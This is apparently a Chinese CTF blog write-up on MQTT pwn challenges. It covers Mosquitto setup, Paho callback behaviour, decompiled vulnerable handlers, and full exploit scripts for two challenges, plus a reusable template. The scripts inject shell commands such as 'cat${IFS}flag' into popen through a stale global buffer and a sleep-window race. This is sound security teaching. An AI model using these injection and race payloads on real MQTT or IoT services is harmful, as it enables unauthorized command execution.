mqtt

yfor
  2026-03-21 14:07:55 2026-03-21 14:07:55 Created   2026-03-21 14:25:42 2026-03-21 14:25:42 Updated    

一些连接

参考文献

1
2
http://39.104.51.85/index.php/2025/11/09/mqtt-pwn%e5%88%9d%e6%8e%a2/
http://8.155.161.14:8090/archives/ciscn2025-final-mqtt-----mqttxie-yi-ru-men#0x01-%E8%B5%9B%E9%A2%98%E8%83%8C%E6%99%AF%E4%B8%8E%E6%9E%B6%E6%9E%84

例题链接

1
https://github.com/yfor-yfor/-/tree/main/mqtt%E4%BE%8B%E9%A2%98

mqtt

环境配置

1.使用安装 Mosquitto MQTT

1
sudo apt updatesudo apt install mosquitto mosquitto-clients

2.启动服务并设置开机自启

1
2
sudo systemctl enable mosquitto
sudo systemctl start mosquitto

3.配置conf

1
sudo vim /etc/mosquitto/mosquitto.conf

在文件中添加

1
2
listener 1883 #设置监听端口为 1883
allow_anonymous true  # 可选，允许匿名访问（默认）

摁“Esc”+“：wq”退出后终端输入

1
sudo systemctl restart mosquitto # 重启服务

img

netstat -lnvp查看一下，可以看到1883端口已经开始监听

img

题目环境修复

  1. 工作目录不能是共享目录

  2. 复制过程中软链接可能会损坏，即齿轮形状的文件变成空白

    软链接实际上就是一个指针，常规的mqtt文件会有多个依赖，且版本更新快

    二进制文件->软连接文件->库文件

    当版本更新时，不需要重新patch新的库文件，只需要让软连接指向新的库文件即可

    恢复命令如下

    1
    2
    cp libpaho-mqtt3c.so.1.3.9 libpaho-mqtt3c.so.1
    cp libcjson.so.1.7.15 libcjson.so.1

    其中，ldd pwn会发现，pwn的依赖时cp 的第一个文件，他们就是软连接文件

  3. 创建题目依赖的系统文件 (修复 “miss file.”)

    题目启动时会通过 openat 检查 /mnt/ 下的特定文件，缺少会导致程序退出。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 创建目录
    sudo mkdir -p /mnt

    # 1. 创建 Flag 文件 (用于窃取测试)
    sudo sh -c 'echo "CISCN{Test_Flag_Success}" > /mnt/VIN'

    # 2. 创建 Version 文件 (这是导致 miss file 的隐蔽原因)
    sudo sh -c 'echo "1.0" > /mnt/version'

    # 3. 赋予读取权限
    sudo chmod 644 /mnt/VIN /mnt/version

  4. 赋予执行权限

    1
    2
    chmod +x ./pwn
    chmod +x ./ld-linux-x86-64.so.2

启动题目 (模拟受害者)

使用题目提供的加载器（ld-linux）和依赖库来运行，防止与系统 libc 版本冲突。

  1. 启动 Mosquitto 服务：

    1
    sudo service mosquitto start

  2. 运行题目：

    • 在终端 1 中执行以下命令。
    • 现象：程序运行后会卡住不动（进入监听状态），这是正常的，不要关闭。
    1
    ./ld-linux-x86-64.so.2 --library-path . ./pwn

    • 此时终端无论成功与否，大概都会输出一句类似的话

      1
      Using server at tcp://localhost:9999

      表示监听9999端口，我们在mosquitto.conf里面已经配置了9999和1883

      如果题目的端口是其余端口，按照上方/环境配置/配置config里的方式，加入listener + 端口号

攻击利用

在终端 2 中，创建并运行攻击脚本 exp.py。

做题

MQTTClient_message结构体

1
2
3
4
5
6
7
8
9
// MQTTClient_message：Paho MQTT C库标准消息结构体（64位系统偏移标注）
// 补充：32位系统下指针占4字节，偏移为对应数值的一半（如payloadlen 32位偏移=4）
typedef struct {
    int payloadlen;   // 8  消息内容长度（字节数）
    void* payload;    // 16 消息内容的指针（实际数据，如字符串、二进制）
    int qos;          // 24 消息的QoS等级（0=最多一次，1=至少一次，2=恰好一次）
    int retained;     // 28 是否是保留消息（0=否，1=是）
    int dup;          // 32 是否是重发消息（0=否，1=是）
} MQTTClient_message;

回调函数

1
rc = MQTTClient_setCallbacks(client, 0LL, connlost, msgarrvd, delivered);

这个函数就是mqtt内部的回调函数

client是客户端句柄，0是上下文NULL

剩下三个就是回调函数，按顺序代表的条件为：

1
2
3
connlost,   // 连接丢失回调 
msgarrvd,   // 消息到达回调 
delivered   // 发送完成回调

跟函数名无关，顺序决定了回调的条件

connlost

连接丢失

并不是你在脚本里使用disconnect就会触发，这种形式会传输一个断开连接包，被称为优雅的断联

如果想要测试是否真的连接成功，需要触发connlost，可以在链接成功后，另起终端输入，就能强制连接丢失了

1
sudo systemctl stop mosquitto

测试后记得重新启动，否则后续题目启动不了

1
sudo service mosquitto start

msgarrived

消息到达，这消息到达指的是远程中的附件收到了消息，因此就是我发送的消息

发送消息的语句如下

1
client.publish("HTTP", data)

HTTP就是远程订阅了的主题，data则是传输的内容

这类回调函数内部，可能会有一些对内容的处理，比如可变头或者特定内容的检测

delivered

收到远程的消息

远程有两种消息：

  • 第一种是启动程序的终端里，会有一些情况的回显，比如收到什么什么消息，连接是否断开

    这类消息并不会在打远程时被我们收到，只有调试意义

  • 第二种是，远程通过共同订阅的主题，向我们发送内容，这种情况比较少见

我们需要接收的就是第二种

1
2
3
4
client.subscribe("HTTP") //订阅主题
client.loop_start() //自动处理后台线程信息
def on_message(client, userdata, msg):
    print(f"收到[{msg.topic}]：{msg.payload.decode()}") //收到消息时的回调函数

这三步语句是在连接和初始化时加入的，等到远程发送消息时，会自动接收并输出，如果需要做特定操作的话，在on_message回调函数中处理即可

例题1-desctf-ezmqtt

附件分析

main

main函数中创建mqtt客户端句柄，并且设置回调函数

1
rc = MQTTClient_setCallbacks(client, 0LL, connlost, msgarrvd, delivered);

对应的是：

connlost 连接丢失回调
msgarrvd 消息到达回调
delivered 发送完成回调

msgarrvd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
  ……
  v11 = __readfsqword(0x28u);
  haystack = *(char **)(a4 + 16);
  if ( (unsigned int)__isoc99_sscanf(haystack, "{\"clientid\":\"%63[^\"]\",", s1) == 1 && !strcmp(s1, "httpclient") )
  {
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
    return 1LL;
  }
  else
  {
    http(haystack);
    puts("Message arrived");
    printf("     topic: %s\n", v7);
    printf("   message: %.*s\n", *(_DWORD *)(v5 + 8), *(const char **)(v5 + 16));
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
    return 1LL;
  }
}

会对我们传输的内容做一个判断，如果clientid时httpclient就结束

否则进入漏洞函数http

http

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall http(const char *haystack)
{
  ……
  if ( (unsigned int)__isoc99_sscanf(haystack, "{\"clientid\":\"%63[^\"]\"", s1) == 1 && !strcmp(s1, "httpclient") )
    return 1LL;
  if ( (unsigned int)__isoc99_sscanf(haystack, "GET /home/ctf/%63[^ \"\r\n/]", s) == 1 )
  {
    v2 = 1;
  }
  else if ( (unsigned int)__isoc99_sscanf(haystack, "GET %*[^/]/ctf/%63[^ \"\r\n/]", s) == 1 )
  {
    v2 = 1;
  }
  else if ( (unsigned int)__isoc99_sscanf(haystack, "GET %*s/ctf/\"%63[^\"]\"", s) == 1 )
  {
    v2 = 1;
  }
  else if ( strstr(haystack, "/ctf/") )
  {
    v6 = strstr(haystack, "/ctf/") + 5;
    __isoc99_sscanf(v6, "%63[^ \"\r\n/]", s);
    v2 = 1;
  }
    ……
}

前半部分是对于命令路径的检测，只需要看最后一个保底检测，只要存在/ctf/，就会把后面的内容存到s里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ( v2 )
  {
    for ( i = 0; i < strlen(s); ++i )
    {
      if ( s[i] == 47 || s[i] == 46 )
        s[i] = 95;
    }
    snprintf(src, 0x80uLL, "cat /home/ctf/%s", s);
    n = strlen(src);
    memcpy(cmd, src, n);
    if ( !strcmp(s, "index_html") )
    {
      stream = popen(cmd, "r");
      if ( stream )
      {
        while ( fgets(s_1, 255, stream) )
        {
          s_1[strcspn(s_1, "\n")] = 0;
          if ( s_1[0] )
          {
            msgsend(s_1);
            memset(s_1, 0, 0x100uLL);
          }
        }
        pclose(stream);
      }
  ……

之后如果检测成功，即v2=1，就会进行命令处理+读取内容

循环中把.和/变为_，而且由于是字符串类的操作，我们/ctf/后的内容需要避免空格的存在，否则会被截断

之后会把处理后的s，还原回cat /home/ctf/后，判断s是不是index_html，如果是就通过popen命令读取对应文件，最后输出

漏洞点在于，执行的命令是全局不清零变量cmd，而检测的是s，且每轮的s都会先赋值给cmd再检测。

所以只要我们发送这样的内容

1
2
publish(b'GET /ctf/index_html;cat${IFS}flag;#')
publish(b'GET /ctf/index_html')

第一段发送会让cmd='GET /ctf/index_html;cat${IFS}flag;#'

这里用${IFS}代替空格

但是对s的检测不通过

第二段发送，用一样的前半段覆盖了原来的内容，因此cmd内容不变

但s变成了index_html，绕过检查，执行cmd中的命令

向我们发送flag的内容

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import paho.mqtt.client as mqtt
context(arch="amd64", os="linux")
#io = process("./pwn")
io=remote("127.0.0.1",9999)
#io=remote("129.211.172.20",31911)
client = None
def dbg():
    gdb.attach(io)
    pause()
#callback
def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("MQTT连接成功！")
        client.subscribe("HTTP")  
    else:
        print(f"连接失败，错误码：{rc}")
def on_message(client, userdata, msg):
    print(f"收到[{msg.topic}]：{msg.payload.decode()}")
def on_subscribe(client, userdata, mid, granted_qos):
    print(f"订阅成功，ID：{mid}，QoS：{granted_qos}")
#func
def init():
    global client
    client = mqtt.Client(client_id="yfor")  
    client.on_connect = on_connect 
    client.on_message = on_message    
    client.on_subscribe = on_subscribe
def con():
    global client
    client.connect(host="127.0.0.1", port=1883, keepalive=6000)
    client.loop_start()
    log.info("MQTT客户端后台循环已启动")   
def discon():
    global client
    client.loop_stop()
    client.disconnect()
def publish(data):
    global client
    client.publish("HTTP", data)
try:
    init()
    con()
    publish(b'GET /ctf/index_html;cat${IFS}flag;#')
    pause()
    publish(b'GET /ctf/index_html')
    pause()
    #io.interactive()
finally:
    discon()
    io.close()

例题2-ciscn2025-final mqtt

附件分析

main

常规的回调函数，但是多了一个线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall main(int a1, char **a2, char **a3)
{
    ……
  v26 = __readfsqword(0x28u);
  if ( sub_167C("/mnt/VIN") && sub_167C("/mnt/version") )
  {
    src = (const char *)sub_167C("/mnt/VIN");
    strncpy(::a1, src, 0x3FuLL);
    sub_1509((__int64)::a1, s_0);
   ……
    MQTTClient_create(&qword_5100, "tcp://localhost:9999", "vehicle_diag", 1LL, 0LL);
    MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);
    while ( (unsigned int)MQTTClient_connect(qword_5100, v6) )
    {
      puts("Trying to reconnect to MQTT...");
      sleep(2u);
    }
    MQTTClient_subscribe(qword_5100, "diag", 1LL);
    pthread_create(&newthread, 0LL, sub_1E1A, 0LL);
    puts("Init...");
    while ( 1 )
      sleep(1u);
  }
  fwrite("miss file.\n", 1uLL, 0xBuLL, stderr);
  return 1LL;
}

线程中回不断地向我们发送一个关键的数据叫做vin，是后续检查的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn sub_1E1A(void *a1)
{
  const char *status_unavailable; // [rsp+18h] [rbp-218h]
  char s[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v3; // [rsp+228h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    status_unavailable = (const char *)sub_167C("/dev/status");
    if ( !status_unavailable )
      status_unavailable = "status_unavailable";
    snprintf(s, 0x200uLL, "{\"vin\":\"%s\",\"status\":\"%s\"}", vin, status_unavailable);
    sub_1702(s);
    sleep(0xAu);
  }
}

recv

接收到信息的回调函数，可以发现是以json树结构处理传输的数据，并且也有一个线程，是攻击的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_1C8C(__int64 a1, __int64 a2, int a3, __int64 a4)
{
……
  v14 = __readfsqword(0x28u);
  printf("Receive: %s\n", *(const char **)(a4 + 16));
  v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));
  if ( v10 )
  {
    src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32);
    src_1 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32);
    src_2 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);
    strncpy(s1, src, 0x7FuLL);
    strncpy(dest_0, src_1, 0x3FuLL);
    strncpy(::src, src_2, 0x7FuLL);
    pthread_create(&newthread, 0LL, start_routine, 0LL);
    pthread_detach(newthread);
    cJSON_Delete(v10);
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
  }
  return 1LL;
}

start_routine

其中就只有两部分值得注意

  • 第一部分，存在一个检查，是有关输入的auth的检查，

    1
    2
    3
    4
    v3 = 0;
    for ( i = 0; *(_BYTE *)(i + vin); ++i )
      v3 = 31 * v3 + *(char *)(i + vin);
    return sprintf(s, "%08x", v3);

    vin经过一段计算后的结果去掉0x存储到s，最后与我们输入的auth作比较

    在本地中，vin是固定值CISCN{Test_Flag_Success}，可以直接gdb里查看最后的结果

    但是参考的wp里，采用了泄露vin加计算的方式，或许远程题目里的vin是不固定的，因此后续exp也是这种做法

  • 第二部分，是对于cmd的检查，不同的cmd对应不同的操作，其中漏洞在于set_vin

    对arg有一个检查

    1
    2
    3
    4
    5
    6
    7
    8
    n63 = strlen(s);
    if ( n63 > 63 || n63 <= 9 )
      return 0LL;
    for ( i = 0; i < n63; ++i )
    {
      if ( ((*__ctype_b_loc())[s[i]] & 8) == 0 )
        return 0LL;
    }

    即长度在10-63，且每一位都得是数字

    后续注入echo -n %s>/mnt/VIN;cat /mnt/VIN里面，然后popen

    很显然符合检查的arg一定不能获得flag，但是检查后存在一个sleep(2)，加上src是一个全局变量，以及这是一个线程，因此可以打条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void *__fastcall start_routine(void *a1)
{
……
  v18 = __readfsqword(0x28u);
  if ( !sub_160E() )
  {
    sub_1702("{\"status\":\"unauthorized\"}");
    puts("unauthorized");
    return 0LL;
  }
……
      else if ( !strcmp(dest_0, "set_vin") )
      {
        if ( (unsigned int)sub_158A(src) )
        {
          sleep(2u);
          snprintf(s, 0x100uLL, "echo -n %s>/mnt/VIN;cat /mnt/VIN", src);
          puts(s);
          stream_1 = popen(s, "r");
          ptr = 0x203A746572LL;
          v10 = 0LL;
          v11 = 0LL;
          v12 = 0LL;
          v13 = 0LL;
          v14 = 0LL;
          v15 = 0LL;
          v16 = 0LL;
          fread((char *)&ptr + 5, 1uLL, 0x3FuLL, stream_1);
          pclose(stream_1);
          puts((const char *)&ptr);
          sub_1702(&ptr);
          strncpy(vin, src, 0x3FuLL);
          sub_1509((__int64)vin, s_0);
        }
……
}

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import paho.mqtt.client as mqtt
import json
context(arch="amd64", os="linux")
#io = process("./pwn")
io=remote("127.0.0.1",9999)
#io=remote("129.211.172.20",31911)
client = None
topic_send="diag"
topic_recv="diag/resp"
auth=""
def dbg():
    gdb.attach(io)
    pause()
#callback
def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("MQTT连接成功！")
        client.subscribe(topic_recv)  
    else:
        print(f"连接失败，错误码：{rc}")
def on_message(client, userdata, msg):
    global auth
    print(f"收到[{msg.topic}]：{msg.payload.decode()}")
    if auth=="":
        payload_str = msg.payload.decode("utf-8")
        start_key = '"vin":"'
        vin_start = payload_str.find(start_key) + len(start_key)
        vin_end = payload_str.find('"', vin_start)
        auth = payload_str[vin_start:vin_end]       
def on_subscribe(client, userdata, mid, granted_qos):
    print(f"订阅成功，ID：{mid}，QoS：{granted_qos}")
#func
def init():
    global client
    client = mqtt.Client(client_id="yfor")  
    client.on_connect = on_connect 
    client.on_message = on_message    
    client.on_subscribe = on_subscribe
def con():
    global client
    client.connect(host="127.0.0.1", port=1883, keepalive=6000)
    client.loop_start()
    log.info("MQTT客户端后台循环已启动")   
def discon():
    global client
    client.loop_stop()
    client.disconnect()
def publish(cmd="",arg=""):
    global client,auth
    msg = {
        "auth": auth,
        "cmd": cmd,
        "arg": arg
    }
    client.publish(topic_send,json.dumps(msg))
def ha(auth):
    ans=0
    for i in auth:
        ans = (ans * 31 + ord(i)) & 0xFFFFFFFF   
    if ans >= 0x80000000:                    
        ans -= 0x100000000
    return "{:08x}".format(ans)
def attack():
    client2 = mqtt.Client(client_id="yfor2")  
    client2.connect(host="127.0.0.1", port=1883, keepalive=6000)
    client2.loop_start()
    msg = {
        "auth": auth,
        "cmd": "set_vin",
        "arg": ";cat${IFS}/flag;#"
    }
    client2.publish(topic_send,json.dumps(msg))
try:
    init()
    con()
    sleep(1.5)
    auth=ha(auth)
    info("auth: "+auth)
    pause()
    publish('set_vin','1'*(10))
    attack()
    pause()
    #io.interactive()
finally:
    discon()
    io.close()

第一部分：

先通过连接获取vin值，来自于main创建的那个线程，会持续输出vin

然后模拟计算算出auth的值

第二部分：

开始攻击，先输入十个1来绕过检查，等到sleep(2)时，另起一个client2去连接并且发送构造好的arg覆盖全局变量src

最后执行命令echo -n ; cat /flag; # >/mnt/VIN; cat /mnt/VIN，输出的内容就会是flag

板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import paho.mqtt.client as mqtt
context(arch="amd64", os="linux")
#io = process("./pwn")
io=remote("127.0.0.1",9999)
#io=remote("129.211.172.20",31911)
client = None
topic_recv="HTTP"
ropic_send="HTTP"    
def dbg():
    gdb.attach(io)
    pause()
#callback
def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("MQTT连接成功！")
        client.subscribe(topic_recv)  
    else:
        print(f"连接失败，错误码：{rc}")
def on_message(client, userdata, msg):
    print(f"收到[{msg.topic}]：{msg.payload.decode()}")
def on_subscribe(client, userdata, mid, granted_qos):
    print(f"订阅成功，ID：{mid}，QoS：{granted_qos}")
#func
def init():
    global client
    client = mqtt.Client(client_id="yfor")  
    client.on_connect = on_connect 
    client.on_message = on_message    
    client.on_subscribe = on_subscribe
def con():
    global client
    client.connect(host="127.0.0.1", port=1883, keepalive=6000)
    client.loop_start()
    log.info("MQTT客户端后台循环已启动")   
def discon():
    global client
    client.loop_stop()
    client.disconnect()
def publish(data):
    global client
    client.publish(topic_send, data)
try:
    init()
    con()
    #io.interactive()
finally:
    discon()
    io.close()

板子中的内容基本是不变的，除了publish和subcribe里面的主题

  • Title: mqtt
  • Author: yfor
  • Created at : 2026-03-21 14:07:55
  • Updated at : 2026-03-21 14:25:42
  • Link: https://yfor-yfor.github.io/2026/03/21/mqtt/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
mqtt
  1. 一些连接
  2. mqtt
    1. 环境配置
      1. 1.使用安装 Mosquitto MQTT
      2. 2.启动服务并设置开机自启
      3. 3.配置conf
    2. 题目环境修复
      1. 创建题目依赖的系统文件 (修复 “miss file.”)
    3. 启动题目 (模拟受害者)
    4. 攻击利用
  3. 做题
    1. MQTTClient_message结构体
    2. 回调函数
      1. connlost
      2. msgarrived
      3. delivered
    3. 例题1-desctf-ezmqtt
      1. 附件分析
      2. 脚本
    4. 例题2-ciscn2025-final mqtt
      1. 附件分析
      2. 脚本
  4. 板子